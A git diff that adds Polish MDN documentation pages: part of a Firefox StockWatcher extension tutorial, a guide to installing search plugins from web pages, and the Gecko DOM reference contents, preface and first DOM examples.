+<p>While we're at it, let's add a method that sets which stock we want to be watching, changing the preference and immediately requesting a refresh of the display. This method will be used when the user uses the popup menu we'll be adding to change what stock they're watching.</p>
+
+<pre class="eval"> watchStock: function(newSymbol)
+ {
+ this.prefs.setCharPref("symbol", newSymbol);
+ },
+</pre>
+
+<p>The only new information for us here is the call to the preference object's <code>setCharPref()</code> function, which sets the value of the "symbol" preference.</p>
+
+<p>Note that this call results in our <code>StockWatcher.observe()</code> method being invoked and displayed stock information being updated.</p>
+
+<h3 id="refreshInformation.28.29" name="refreshInformation.28.29">refreshInformation()</h3>
+
+<p>This method is slightly revised from previous versions, in that it needs to fetch the preference for the stock to watch and use that to construct the URL to monitor, as well as to construct the string to be displayed in the status bar panel.</p>
+
+<pre class="eval"> refreshInformation: function()
+ {
+ // Because we may be called as a callback, we can't rely on
+ // "this" referring to the right object, so we need to reference
+ // it by its full name
+
+ var symbol = StockWatcher.tickerSymbol;
+
+ var fullUrl = "<span class="nowiki">http://quote.yahoo.com/d/quotes.csv?f=sl1d1t1c1ohgv&amp;e=.csv&amp;s=</span>"
+ + symbol;
+
+ function infoReceived()
+ {
+ var samplePanel = document.getElementById('stockwatcher2');
+ var output = httpRequest.responseText;
+
+ if (output.length)
+ {
+ // Remove any whitespace from the end of the string
+ output = output.replace(/\W*$/, "");
+
+ // Build the tooltip string
+ var fieldArray = output.split(",");
+ samplePanel.label = symbol + ": " + fieldArray[1];
+ samplePanel.tooltipText = "Chg: " + fieldArray[4] + " | " +
+ "Open: " + fieldArray[5] + " | " +
+ "Low: " + fieldArray[6] + " | " +
+ "High: " + fieldArray[7] + " | " +
+ "Vol: " + fieldArray[8];
+ }
+ }
+
+ var httpRequest = new XMLHttpRequest();
+
+ httpRequest.open("GET", fullUrl, true);
+ httpRequest.onload = infoReceived;
+ httpRequest.send(null);
+ }
+ }
+</pre>
+
+<p>Note that we use <code>StockWatcher.tickerSymbol</code> here instead of <code>this.tickerSymbol</code> to get the stock symbol to watch. We do this because since <code>refreshInformation()</code> is usually called as a callback from <code>setInterval</code>. In such cases <code>this</code> doesn't refer to the right object. See <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Operatory/Operatory_specjalne/Operator_this#Wi.C4.85zanie_metod">Wiązanie metod</a> for detailed explanation.</p>
+
+<p>Once we have the symbol in the local variable <code>symbol</code>, we use that to construct the URL and the string to display in the status bar panel.</p>
+
+<h3 id="Instalowanie_nas.C5.82uchu_zdarze.C5.84" name="Instalowanie_nas.C5.82uchu_zdarze.C5.84">Instalowanie nasłuchu zdarzeń</h3>
+
+<p>The only thing left to do is to install the event listeners needed to run the <code>startup()</code> and <code>shutdown()</code> routines automatically when the browser window is loaded and unloaded.</p>
+
+<pre class="eval">window.addEventListener("load", function(e) { StockWatcher.startup(); }, false);
+window.addEventListener("unload", function(e) { StockWatcher.shutdown(); }, false);
+</pre>
+
+<h2 id="Design_the_preference_dialog" name="Design_the_preference_dialog">Design the preference dialog</h2>
+
+<p>Now that we've written all the code, we need to build the XUL file for the options dialog.</p>
+
+<pre class="eval">&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet href="<span class="nowiki">chrome://global/skin/</span>" type="text/css"?&gt;
+
+&lt;prefwindow id="stockwatcher2-prefs"
+ title="StockWatcher 2 Options"
+ xmlns="<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>"&gt;
+
+&lt;prefpane id="sw2-stock-pane" label="Stock Settings"&gt;
+ &lt;preferences&gt;
+ &lt;preference id="pref_symbol" name="stockwatcher2.symbol" type="string"/&gt;
+ &lt;/preferences&gt;
+
+ &lt;hbox align="center"&gt;
+ &lt;label control="symbol" value="Stock to watch: "/&gt;
+ &lt;textbox preference="pref_symbol" id="symbol" maxlength="4"/&gt;
+ &lt;/hbox&gt;
+&lt;/prefpane&gt;
+
+&lt;/prefwindow&gt;
+</pre>
+
+<p>The <code>&lt;preferences&gt;</code> block establishes all the settings we implement as well as their types. In our case, we have a single preference, the stock symbol to monitor. Preferences are identified by name; in this case, the name is "stockwatcher2.symbol".</p>
+
+<p>The actual user interface is described in the <code>&lt;prefpane&gt;</code> block. The <code>&lt;hbox&gt;</code> element is used to lay out the user interface by indicating that the widgets inside it should be positioned horizontally, next to each other in the window.</p>
+
+<p>Our dialog has two widgets in it. The first is a label describing the textbox. The second is the textbox itself, in which the user enters the symbol. The <code>preference</code> property ties the textbox to the "pref_symbol" &lt;preference&gt; element and to the "stockwatcher2.symbol" preference. This lets the preference value automatically be updated to reflect the content of the textbox.</p>
+
+<h2 id="Dodanie_kontekstowego_menu" name="Dodanie_kontekstowego_menu">Dodanie kontekstowego menu</h2>
+
+<p>Adding the contextual menu is easy; all the work that needs doing is done in the stockwatcher2.xul file. The first step is to add the <code>context</code> attribute to the status bar panel:</p>
+
+<pre class="eval"> &lt;statusbar id="status-bar"&gt;
+ &lt;statusbarpanel id="stockwatcher2"
+ label="Loading..."
+ context="stockmenu"
+ onclick="StockWatcher.refreshInformation()"
+ /&gt;
+ &lt;/statusbar&gt;
+</pre>
+
+<p>Now when the user clicks on the status bar panel, the stock information refreshes, but when they right-click on it, a context menu pops up.</p>
+
+<p>Defining the menu is also easy. All we need to do is add a <code>popupset</code> describing the menu to the statusbar, as follows:</p>
+
+<pre class="eval"> &lt;popupset&gt;
+ &lt;menupopup id="stockmenu"&gt;
+ &lt;menuitem label="Refresh Now" default="true"
+ oncommand="StockWatcher.refreshInformation()"/&gt;
+ &lt;menuseparator/&gt;
+ &lt;menuitem label="Apple (AAPL)" oncommand="StockWatcher.watchStock('AAPL')"/&gt;
+ &lt;menuitem label="Google (GOOG)" oncommand="StockWatcher.watchStock('GOOG')"/&gt;
+ &lt;menuitem label="Microsoft (MSFT)" oncommand="StockWatcher.watchStock('MSFT')"/&gt;
+ &lt;menuitem label="Yahoo! (YHOO)" oncommand="StockWatcher.watchStock('YHOO')"/&gt;
+ &lt;/menupopup&gt;
+ &lt;/popupset&gt;
+</pre>
+
+<p>Each item in the menu has a <code>label</code> property, which specifies the text displayed in the menu, as well as an <code>oncommand</code> property, which indicates the JavaScript code to execute when the user selects that item.</p>
+
+<p>The Refresh Now option calls the <code>StockWatcher.refreshInformation()</code> function, to refresh the display. The rest of the options call the <code>StockWatcher.watchStock()</code> function to start watching a different stock.</p>
+
+<p>For a more detailed tutorial on creating popup menus, zobacz <a href="pl/Kurs_XUL/Wyskakuj%c4%85ce_menu">Kurs XUL:Wyskakujące menu</a>. {{ PreviousNext("Tworzenie rozszerzenia dynamicznego paska stanu", "Lokalizacja rozszerzenia") }}</p>
diff --git a/files/pl/dodawanie_wyszukiwarek_z_poziomu_stron_www/index.html b/files/pl/dodawanie_wyszukiwarek_z_poziomu_stron_www/index.html
new file mode 100644
index 0000000000..2c5873895d
--- /dev/null
+++ b/files/pl/dodawanie_wyszukiwarek_z_poziomu_stron_www/index.html
@@ -0,0 +1,57 @@
+---
+title: Dodawanie wyszukiwarek z poziomu stron WWW
+slug: Dodawanie_wyszukiwarek_z_poziomu_stron_WWW
+tags:
+ - Dodatki
+ - Wszystkie_kategorie
+ - Wtyczki_wyszukiwarek
+translation_of: Web/OpenSearch
+---
+<p>
+</p><p>Firefox zezwala, aby kod JavaScript instalował wtyczki wyszukiwarek, i obsługuje dwa formaty wtyczek: <a href="pl/Tworzenie_wtyczek_OpenSearch_dla_Firefoksa">OpenSearch</a> i Sherlock.
+</p>
+<div class="note"><b>Uwaga:</b> Od Firefoksa 2 OpenSearch jest preferowanym formatem wyszukiwania.</div>
+<p>Gdy kod JavaScript próbuje zainstalować wtyczkę wyszukiwarki, Firefox wyświetla komunikat z pytaniem o zgodę na instalację wtyczki.
+</p>
+<h2 id="Instalowanie_wtyczek_OpenSearch">Instalowanie wtyczek OpenSearch</h2>
+<p>Aby zainstalować wtyczkę OpenSearch, należy skorzystać z metody DOM <code>window.external.AddSearchProvider()</code>. Składnię tej metody przedstawiono poniżej:
+</p>
+<pre class="eval">window.external.AddSearchProvider(<i>adresURLWtyczki</i>);
+</pre>
+<p>Gdzie: <i>adresURLWtyczki</i> jest pełnym adresem URL do pliku XML wtyczki wyszukiwarki.
+</p>
+<div class="note"><b>Uwaga:</b> Obsługa OpenSearch jest dostępna tylko w Firefoksie 2 i wyższych.</div>
+<h2 id="Instalowanie_wtyczek_Sherlock">Instalowanie wtyczek Sherlock</h2>
+<p>Aby zainstalować wtyczkę Sherlock, należy użyć metody <code>window.sidebar.addSearchEngine()</code>, składnia jest następująca:
+</p>
+<pre class="eval">window.sidebar.addSearchEngine(<i>adresURLWtyczki</i>, <i>adresURLIkony</i>, <i>sugerowanaNazwa</i>, <i>sugerowanaKategoria</i>);
+</pre>
+<ul><li> Parametr <code>adresURLWtyczki</code> to adres URL wtyczki Sherlock (plik ".src"), która ma zostać zainstalowana.
+</li><li> <code>adresURLIkony</code> to adres URL ikony, która ma być powiązana z wtyczką.
+</li><li> Parametr <code>sugerowanaNazwa</code> jest używany tylko podczas monitowania użytkownika o dopuszczenie do instalacji wtyczki, aby mógł zostać wyświetlony komunikat w stylu "Czy chcesz zainstalować <i>sugerowanaNazwa</i> z <i>adresURLWtyczki</i>?".
+</li><li> Parametr <code>sugerowanaKategoria</code> nie jest używany. Powinno się pozostawić go jako pusty łańcuch znaków (<code>""</code>) lub wartość <code>null</code>.
+</li></ul>
+<p>Więcej informacji na temat formatu Sherlock można znaleźć na stronie <a class=" external" href="http://developer.apple.com/macosx/sherlock/">http://developer.apple.com/macosx/sherlock/</a>
+</p>
+<h2 id="Wykrywanie_mo.C5.BCliwo.C5.9Bci_przegl.C4.85darki_z_poziomu_silnika_wyszukiwarki">Wykrywanie możliwości przeglądarki z poziomu silnika wyszukiwarki</h2>
+<p>Ponieważ uzupełniające API wyszukiwarki zmieniło się między Firefoksem 1.5 a Firefoksem 2.0 oraz ponieważ Firefox 1.5 nie wspiera plików opisu OpenSearch, autorzy stron internetowych, którzy chcą dodać silnik wyszukiwarki w sposób kompatybilny wstecznie (to znaczy tak, żeby działała ona w Firefoksie 1.5, Firefoksie 2.0 lub IE 7), muszą obsługiwać zarówno format Sherlock jak i OpenSearch oraz muszą odpowiednio wykryć możliwości przeglądarki. Poniższy fragment kodu jest przykładem w jaki sposób może to być osiągnięte:
+</p><p><br>
+</p>
+<pre class="eval">function installSearchEngine() {
+ if (window.external &amp;&amp; ("AddSearchProvider" in window.external)) {
+ // Firefox 2 i IE 7, OpenSearch
+ window.external.AddSearchProvider("<span>http://przyklad.com/search-plugin.xml</span>");
+ } else if (window.sidebar &amp;&amp; ("addSearchEngine" in window.sidebar)) {
+ // Firefox &lt;= 1.5, Sherlock
+ window.sidebar.addSearchEngine("<span>http://przyklad.com/search-plugin.src</span>",
+ "<span>http://przyklad.com/search-icon.png</span>",
+ "Search Plugin", "");
+ } else {
+ // Brak obsługi wyszukiwarki (IE 6, Opera, itd.).
+ alert("Brak obsługi wyszukiwarki");
+ }
+}
+</pre>
+<div class="noinclude">
+</div>
+{{ languages( { "ca": "ca/Addici\u00f3_de_motors_de_cerca_a_les_p\u00e0gines_web", "en": "en/Adding_search_engines_from_web_pages", "es": "es/A\u00f1adir_motores_de_b\u00fasqueda_desde_p\u00e1ginas_web", "fr": "fr/Ajout_de_moteurs_de_recherche_depuis_des_pages_Web", "it": "it/Installare_plugin_di_ricerca_dalle_pagine_web", "ja": "ja/Adding_search_engines_from_web_pages", "zh-tw": "zh_tw/\u81ea\u7db2\u9801\u6dfb\u52a0\u641c\u5c0b\u5f15\u64ce" } ) }}
diff --git a/files/pl/dokumentacja_gecko_dom/index.html b/files/pl/dokumentacja_gecko_dom/index.html
new file mode 100644
index 0000000000..e4c1475516
--- /dev/null
+++ b/files/pl/dokumentacja_gecko_dom/index.html
@@ -0,0 +1,85 @@
+---
+title: Dokumentacja Gecko DOM
+slug: Dokumentacja_Gecko_DOM
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document_Object_Model
+---
+<p>
+</p><p>Ta strona jest przyszłym spisem treści Dokumentacji Gecko DOM, którą przenosimy <a class="external" href="http://www.mozilla.org/docs/dom/domref/">stąd</a>.
+</p><p><br>
+</p>
+<h4 id="Przedmowa"> <a href="pl/Dokumentacja_Gecko_DOM/Przedmowa">Przedmowa</a> </h4>
+<ul><li> <a href="pl/Dokumentacja_Gecko_DOM/Przedmowa#O_dokumentacji">O dokumentacji</a>
+</li><li> <a href="pl/Dokumentacja_Gecko_DOM/Przedmowa#Kto_j.C4.85_powinien_przeczyta.C4.87">Kto ją powinien przeczytać</a>
+</li><li> <a href="pl/Dokumentacja_Gecko_DOM/Przedmowa#Czym_jest_Gecko.3F">Czym jest Gecko?</a>
+</li><li> <a href="pl/Dokumentacja_Gecko_DOM/Przedmowa#Sk.C5.82adnia_API">Składnia API</a>
+</li><li> <a href="pl/Dokumentacja_Gecko_DOM/Przedmowa#Korzystanie_z_przyk.C5.82ad.C3.B3w">Korzystanie z przykładów</a>
+</li></ul>
+<h4 id="Wprowadzenie"> <a href="pl/Dokumentacja_Gecko_DOM/Wprowadzenie">Wprowadzenie</a> </h4>
+<ul><li> <a href="pl/Dokumentacja_Gecko_DOM/Wprowadzenie#Czym_jest_DOM.3F">Czym jest DOM?</a>
+</li><li> <a href="pl/Dokumentacja_Gecko_DOM/Wprowadzenie#DOM_vs._JavaScript">DOM vs. JavaScript</a>
+</li><li> <a href="pl/Dokumentacja_Gecko_DOM/Wprowadzenie#Jak_korzysta.C4.87_z_DOM.3F">Jak korzystać z DOM?</a>
+</li><li> <a href="pl/Dokumentacja_Gecko_DOM/Wprowadzenie#Wa.C5.BCne_typy_danych">Ważne typy danych</a>
+</li><li> <a href="pl/Dokumentacja_Gecko_DOM/Wprowadzenie#Interfejsy_DOM">Interfejsy DOM</a>
+</li><li> <a href="pl/Dokumentacja_Gecko_DOM/Wprowadzenie#Testowanie_DOM_API">Testowanie DOM API</a>
+</li></ul>
+<h4 id="Elementy_w_DOM"> <a href="pl/DOM/element">Elementy w DOM</a> </h4>
+<ul><li> <a href="pl/DOM/element#Wprowadzenie">Wprowadzenie</a>
+</li><li> <a href="pl/DOM/element#W.C5.82asno.C5.9Bci">Własności</a>
+</li><li> <a href="pl/DOM/element#Metody">Metody</a>
+</li><li> <a href="pl/DOM/element#Uchwyty_zdarze.C5.84">Uchwyty zdarzeń</a>
+</li></ul>
+<h4 id="Obiekt_window"> <a href="pl/DOM/window">Obiekt window</a> </h4>
+<ul><li> <a href="pl/DOM/window#Wprowadzenie">Wprowadzenie</a>
+</li><li> <a href="pl/DOM/window#W.C5.82asno.C5.9Bci">Własności</a>
+</li><li> <a href="pl/DOM/window#Metody">Metody</a>
+</li><li> <a href="pl/DOM/window#Uchwyty_zdarze.C5.84">Uchwyty zdarzeń</a>
+</li></ul>
+<h4 id="Obiekt_document"> <a href="pl/DOM/document">Obiekt document</a> </h4>
+<ul><li> <a href="pl/DOM/document#Wprowadzenie">Wprowadzenie</a>
+</li><li> <a href="pl/DOM/document#W.C5.82asno.C5.9Bci">Własności</a>
+</li><li> <a href="pl/DOM/document#Metody">Metody</a>
+</li></ul>
+<h4 id="Zdarzenia"> <a href="pl/DOM/event">Zdarzenia</a> </h4>
+<ul><li> <a href="pl/DOM/event#Wprowadzenie">Wprowadzenie</a>
+</li><li> <a href="pl/DOM/event#W.C5.82asno.C5.9Bci">Własności</a>
+</li><li> <a href="pl/DOM/event#Metody">Metody</a>
+</li></ul>
+<h4 id="Style_w_DOM"> <a href="pl/DOM/style">Style w DOM</a> </h4>
+<ul><li> <a href="pl/DOM/style#Notatki">Notatki</a>
+</li><li> <a href="pl/DOM/style#Materia.C5.82y_do_przeniesienia_na_inne_strony">Materiały do przeniesienia na inne strony</a>
+</li></ul>
+<h4 id="DOM_range"> <a href="pl/DOM/range">DOM range</a> </h4>
+<ul><li> <a href="pl/DOM/range#Wprowadzenie">Wprowadzenie</a>
+</li><li> <a href="pl/DOM/range#W.C5.82asno.C5.9Bci">Własności</a>
+</li><li> <a href="pl/DOM/range#Metody">Metody</a>
+</li></ul>
+<h4 id="Interfejs_elementu_HTML_FORM"> <a href="pl/DOM/form">Interfejs elementu HTML FORM</a> </h4>
+<ul><li> <a href="pl/DOM/form#Interfejs_elementu_HTML_FORM">Interfejs elementu HTML FORM</a>
+</li><li> <a href="pl/DOM/form#W.C5.82asno.C5.9Bci">Własności</a>
+</li><li> <a href="pl/DOM/form#Metody">Metody</a>
+</li></ul>
+<h4 id="Interfejs_elementu_HTML_TABLE"> <a href="pl/DOM/table">Interfejs elementu HTML TABLE</a> </h4>
+<ul><li> <a href="pl/DOM/table#Interfejs_elementu_HTML_TABLE">Interfejs elementu HTML TABLE</a>
+</li><li> <a href="pl/DOM/table#W.C5.82asno.C5.9Bci">Własności</a>
+</li><li> <a href="pl/DOM/table#Metody">Metody</a>
+</li></ul>
+<h4 id="Przyk.C5.82ady_u.C5.BCycia_DOM"> <a href="pl/Dokumentacja_Gecko_DOM/Przyk%c5%82ady_u%c5%bcycia_DOM">Przykłady użycia DOM</a> </h4>
+<ul><li> <a href="pl/Dokumentacja_Gecko_DOM/Przyk%c5%82ady_u%c5%bcycia_DOM#Przyk.C5.82ad_1:_Wysoko.C5.9B.C4.87_i_szeroko.C5.9B.C4.87">Przykład 1: Wysokość i szerokość</a>
+</li><li> <a href="pl/Dokumentacja_Gecko_DOM/Przyk%c5%82ady_u%c5%bcycia_DOM#Przyk.C5.82ad_2:_Atrybuty_obrazu">Przykład 2: Atrybuty obrazu</a>
+</li><li> <a href="pl/Dokumentacja_Gecko_DOM/Przyk%c5%82ady_u%c5%bcycia_DOM#Przyk.C5.82ad_3:_Manipulacja_stylami">Przykład 3: Manipulacja stylami</a>
+</li><li> <a href="pl/Dokumentacja_Gecko_DOM/Przyk%c5%82ady_u%c5%bcycia_DOM#Przyk.C5.82ad_4:_Zastosowanie_styl.C3.B3w">Przykład 4: Zastosowanie stylów</a>
+</li><li> <a href="pl/Dokumentacja_Gecko_DOM/Przyk%c5%82ady_u%c5%bcycia_DOM#Przyk.C5.82ad_5:_Propagowanie_zdarze.C5.84">Przykład 5: Propagowanie zdarzeń</a>
+</li><li> <a href="pl/Dokumentacja_Gecko_DOM/Przyk%c5%82ady_u%c5%bcycia_DOM#Przyk.C5.82ad_6:_getComputedStyle">Przykład 6: getComputedStyle</a>
+</li><li> <a href="pl/Dokumentacja_Gecko_DOM/Przyk%c5%82ady_u%c5%bcycia_DOM#Przyk.C5.82ad_7:_Wy.C5.9Bwietlanie_sta.C5.82ych_obiektu_zdarzenia">Przykład 7: Wyświetlanie stałych obiektu zdarzenia</a>
+</li><li> <a href="pl/Dokumentacja_Gecko_DOM/Przyk%c5%82ady_u%c5%bcycia_DOM#Przyk.C5.82ad_8:_Zastosowanie_interfejsu_DOM_Table">Przykład 8: Zastosowanie interfejsu DOM Table</a>
+</li></ul>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Gecko_DOM_Reference", "es": "es/Referencia_DOM_de_Gecko", "fr": "fr/R\u00e9f\u00e9rence_du_DOM_Gecko", "it": "it/Reference_del_DOM_di_Gecko", "ja": "ja/Gecko_DOM_Reference", "ko": "ko/Gecko_DOM_Reference", "zh-cn": "cn/Gecko_DOM_\u53c2\u8003" } ) }}
diff --git a/files/pl/dokumentacja_gecko_dom/przedmowa/index.html b/files/pl/dokumentacja_gecko_dom/przedmowa/index.html
new file mode 100644
index 0000000000..6cf8a2b1f0
--- /dev/null
+++ b/files/pl/dokumentacja_gecko_dom/przedmowa/index.html
@@ -0,0 +1,46 @@
+---
+title: Przedmowa
+slug: Dokumentacja_Gecko_DOM/Przedmowa
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document_Object_Model
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="O_dokumentacji" name="O_dokumentacji">O dokumentacji</h3>
+<p>Ten rozdział opisuje przewodnik jaki czytasz: czyli czym jest, jakie informacje są w nim zaprezentowane i w jaki sposób można użyć przykładów zawartych w dokumentacji do własnego programowania.</p>
+<p>Uwaga, bo ten dokument nie służy do programowania i nie jest aktualnie pełną listą metod DOM i własności zaimplementowanych w Gecko. Każdy indywidualny rozdział dokumentu (np., <a href="pl/DOM/document">Obiekt document</a>) są w pełni opisanym obiektem(ami). Jako informacje dokumentacji dla rozmaitych użytkowników wraz z odnośnikami do poszczególnych części API będą zintegrowane z tym dokumentem.</p>
+<h3 id="Kto_powinien_j.C4.85_przeczyta.C4.87" name="Kto_powinien_j.C4.85_przeczyta.C4.87">Kto powinien ją przeczytać</h3>
+<p>Czytelnik <a href="pl/Dokumentacja_Gecko_DOM">dokumentacji Gecko DOM</a> jest programista piszący strony internetowe lub wprawny użytkownik sieci, który wie trochę o pisaniu stron oraz zna ich budowę. W dokumentacji nie tworzy się założeń, że czytelnik posiada wiedzę z DOM, z <a href="pl/XML">XML</a>, z tematyki serwerów sieciowych lub standardów sieciowych, czy nawet z <a href="pl/JavaScript">JavaScriptu</a>, bo język, w którym DOM został stworzony, jest dostępny dla czytającego tą dokumentację. Natomiast w tym dokumencie założono, że czytelnik ma obycie z <a href="pl/HTML">HTML</a>, ze znacznikami, z podstawową strukturą stron internetowych, z przeglądarkami i z arkuszami stylów.</p>
+<p>We wstępnym materiale, znajduje się wiele przykładów i ich wykorzystanie na bardzo wysokim poziomie, dokument jest dla "początkujących" programistów sieciowych. Ogólnie, kiedykolwiek, dokumentacja API powinna być wartościowa zarówno dla doświadczonych jak i niedoświadczonych deweloperów.</p>
+<h3 id="Czym_jest_Gecko.3F" name="Czym_jest_Gecko.3F">Czym jest Gecko?</h3>
+<p>Mozilla, Firefox, Netscape 6+, i inne oparte o Mozillę przeglądarki posiadają identyczną implementację DOM. Dzieje się tak ponieważ używają tej samej technologii. <span class="comment">naturally, it applies only to products based on the same version of Gecko, but it\'s tricky to explain</span></p>
+<p>Gecko, komponent oprogramowania w tych przeglądarkach, który obsługuje przetwarzanie kodu HTML, rozmieszczenie elementów na stronach, model obiektowy dokumentu (DOM), a nawet tworzenie całego interfejsu aplikacji, jest szybkim, zgodnym ze standardami silnikiem renderowania, który implementuje standard W3C DOM i podobny do DOM (ale niestandardowy) model obiektowy przeglądarki (np., <a href="pl/DOM/window"><code>window</code></a> i inne) w kontekście stron WWW i interfejsu aplikacji.</p>
+<p>Mimo, że interfejs aplikacji i zawartość wyświetlana przez przeglądarkę różnią się w wielu praktycznych aspektach, DOM reprezentuje je jednorodnie jako hierarchię węzłów. <span class="comment">(commenting this incomplete sentence out for now...) The tree structure of the DOM (which in its application to the user</span></p>
+<h3 id="Sk.C5.82adnia_API" name="Sk.C5.82adnia_API">Składnia API</h3>
+<p>Każdy opis w dokumentacji API zawiera przykłady składni, parametry wejścia - wyjścia (gdzie podawany jest również typ zmiennej), przykład, dodatkowe uwagi i link do odpowiedniego tematu w specyfikacji.</p>
+<p>Normalnie właściwości tylko do odczytu posiadają tylko jedna linię składni, gdyż mogą być one tylko odczytane a nie zapisane. Na przykład własność <code>availHeight</code> obiektu <code>screen</code> zawiera następująca informacje:</p>
+<div>
+ <img alt="Grafika:Preface2.gif"></div>
+<p>Oznacza to, że można używać tylko własności z prawej strony wyrażenia; dla własności typu odczyt/zapis można je wykorzystywać po obydwu stronach wyrażenia jak ilustruje poniższy przykład:</p>
+<div>
+ <img alt="Grafika:Prefacea.gif"></div>
+<p>Ogólnie, dla obiektów opisanych powyżej jest podana prosta składnia, np. <code>element</code> dla wszystkich elementów, <code>document</code> dla głównych dokumentów obiektu, table dla obiektu <code>TABLE</code> itd. (zobacz <a href="pl/Dokumentacja_Gecko_DOM/Wprowadzenie#Wa.C5.BCne_typy_danych">Ważne typy danych</a> dla różnych typów danych).</p>
+<h3 id="Korzystanie_z_przyk.C5.82ad.C3.B3w" name="Korzystanie_z_przyk.C5.82ad.C3.B3w">Korzystanie z przykładów</h3>
+<p>Wiele przykładów w tej dokumentacji jest pełnymi plikami, które możemy wykorzystać poprzez skopiowanie i wklejenie do nowego pliku i następnie otworzenie w swojej przeglądarce. Reszta jest tylko fragmentami kodu. Taki fragment możesz uruchomić poprzez umieszczenie go w wewnątrz funkcji JavaScript zwracającej nazwę. Na przykład własność <a href="pl/DOM/window.document">window.document</a> może być testowana wewnątrz funkcji takiej jak ta poniżej, która jest wywołana za pomocą przycisku:</p>
+<pre>&lt;html&gt;
+&lt;script&gt;
+function testWinDoc() {
+doc= window.document;
+alert(doc.title);
+}
+&lt;/script&gt;
+&lt;button onclick="testWinDoc();"&gt;Test własności dokumentu&lt;/button&gt;
+&lt;/html&gt;
+</pre>
+<p>Podobne funkcje i strony można wymyślić dla wszystkich składników obiektów, które jeszcze nie znajdują się w pakiecie. Zobacz temat <a href="pl/Dokumentacja_Gecko_DOM/Wprowadzenie#Testowanie_DOM_API">Testowanie DOM API</a> we wprowadzeniu dla "test harness", który będziesz mógł użyć do testowania liczby wszystkich API na raz.</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/Gecko_DOM_Reference/Preface", "es": "es/Referencia_DOM_de_Gecko/Prefacio", "fr": "fr/R\u00e9f\u00e9rence_du_DOM_Gecko/Pr\u00e9face", "ja": "ja/Gecko_DOM_Reference/Preface", "ko": "ko/Gecko_DOM_Reference/Preface", "zh-cn": "cn/Gecko_DOM_\u53c2\u8003/Preface" } ) }}</p>
diff --git a/files/pl/dokumentacja_gecko_dom/przykłady_użycia_dom/index.html b/files/pl/dokumentacja_gecko_dom/przykłady_użycia_dom/index.html
new file mode 100644
index 0000000000..90d24738ef
--- /dev/null
+++ b/files/pl/dokumentacja_gecko_dom/przykłady_użycia_dom/index.html
@@ -0,0 +1,354 @@
+---
+title: Przykłady użycia DOM
+slug: Dokumentacja_Gecko_DOM/Przykłady_użycia_DOM
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document_Object_Model/Examples
+---
+<p>{{ ApiRef() }}</p>
+
+<p>Rozdział ten pokazuje kilka dłuższych przykładów użycia DOM na stronach internetowych i zastosowanie <a href="pl/XML">XML</a>-a. Gdzie tylko jest to możliwe, przykłady używają ogólnie API, trików i wzorów kodu napisanych w JavaScripcie służących do manipulacji obiektem dokumentu.</p>
+
+<h3 id="Przyk.C5.82ad_1:_Wysoko.C5.9B.C4.87_i_szeroko.C5.9B.C4.87" name="Przyk.C5.82ad_1:_Wysoko.C5.9B.C4.87_i_szeroko.C5.9B.C4.87">Przykład 1: Wysokość i szerokość</h3>
+
+<p>Następujący przykład pokazuje użycie własności <code>height</code> i <code>width</code> obok obrazków, które się różnią rozmiarami:</p>
+
+<pre>&lt;!DOCTYPE html&gt;
+&lt;html lang="pl"&gt;
+&lt;head&gt;
+&lt;title&gt;Przykład width/height&lt;/title&gt;
+&lt;script&gt;
+function init()
+{
+ var arrImages = new Array(3);
+
+ arrImages[0] = document.getElementById("image1");
+ arrImages[1] = document.getElementById("image2");
+ arrImages[2] = document.getElementById("image3");
+ var objOutput = document.getElementById("output");
+ var strHtml = "&lt;ul&gt;";
+ for (var i = 0; i &lt; arrImages.length; i++)
+ strHtml += "&lt;li&gt;image" + (i+1) +
+ ": height=" + arrImages[i].height +
+ ", width=" + arrImages[i].width +
+ ", style.height=" + arrImages[i].style.height +
+ ", style.width=" + arrImages[i].style.width +
+ "&lt;\/li&gt;";
+ strHtml += "&lt;\/ul&gt;";
+ objOutput.innerHTML = strHtml;
+}
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body onload="init();"&gt;
+
+&lt;p&gt;Obrazek 1: Brak wysokości, szerokości oraz stylu
+ &lt;img id="image1" src="http://www.mozilla.org/images/mozilla-banner.gif"&gt;
+&lt;/p&gt;
+&lt;p&gt;Obrazek 2: height="50", width="500", lecz bez stylu
+ &lt;img id="image2" src="http://www.mozilla.org/images/mozilla-banner.gif"
+ height="50" width="500"&gt;
+&lt;/p&gt;
+&lt;p&gt;Obrazek 3: Brak wysokości, szerokości, lecz style="height: 50px; width: 500px;"
+ &lt;img id="image3" src="http://www.mozilla.org/images/mozilla-banner.gif"
+ style="height: 50px; width: 500px;"&gt;
+&lt;/p&gt;
+
+&lt;div id="output"&gt; &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p><code>height</code> i <code>width</code> są także własnościami elementów <code>OBJECT</code> i <code>APPLET</code>.</p>
+
+<h3 id="Przyk.C5.82ad_2:_Atrybuty_obrazu" name="Przyk.C5.82ad_2:_Atrybuty_obrazu">Przykład 2: Atrybuty obrazu</h3>
+
+<pre>&lt;!DOCTYPE html&gt;
+&lt;html lang="pl"&gt;
+&lt;head&gt;
+&lt;title&gt;Modyfikacja obramowania obrazka&lt;/title&gt;
+
+&lt;script&gt;
+function setBorderWidth(width) {
+ document.getElementById("img1").style.borderWidth = width + "px";
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+&lt;p&gt;
+ &lt;img id="img1"
+ src="image1.gif"
+ style="border: 5px solid green;"
+ width="100"
+ height="100"
+ alt="test obramowania"&gt;
+&lt;/p&gt;
+
+&lt;form name="FormName"&gt;
+ &lt;input type="button" value="Utwórz obramowanie 20px-wide" onclick="setBorderWidth(20);"&gt;
+ &lt;input type="button" value="Utwórz obramowanie 5px-wide" onclick="setBorderWidth(5);"&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
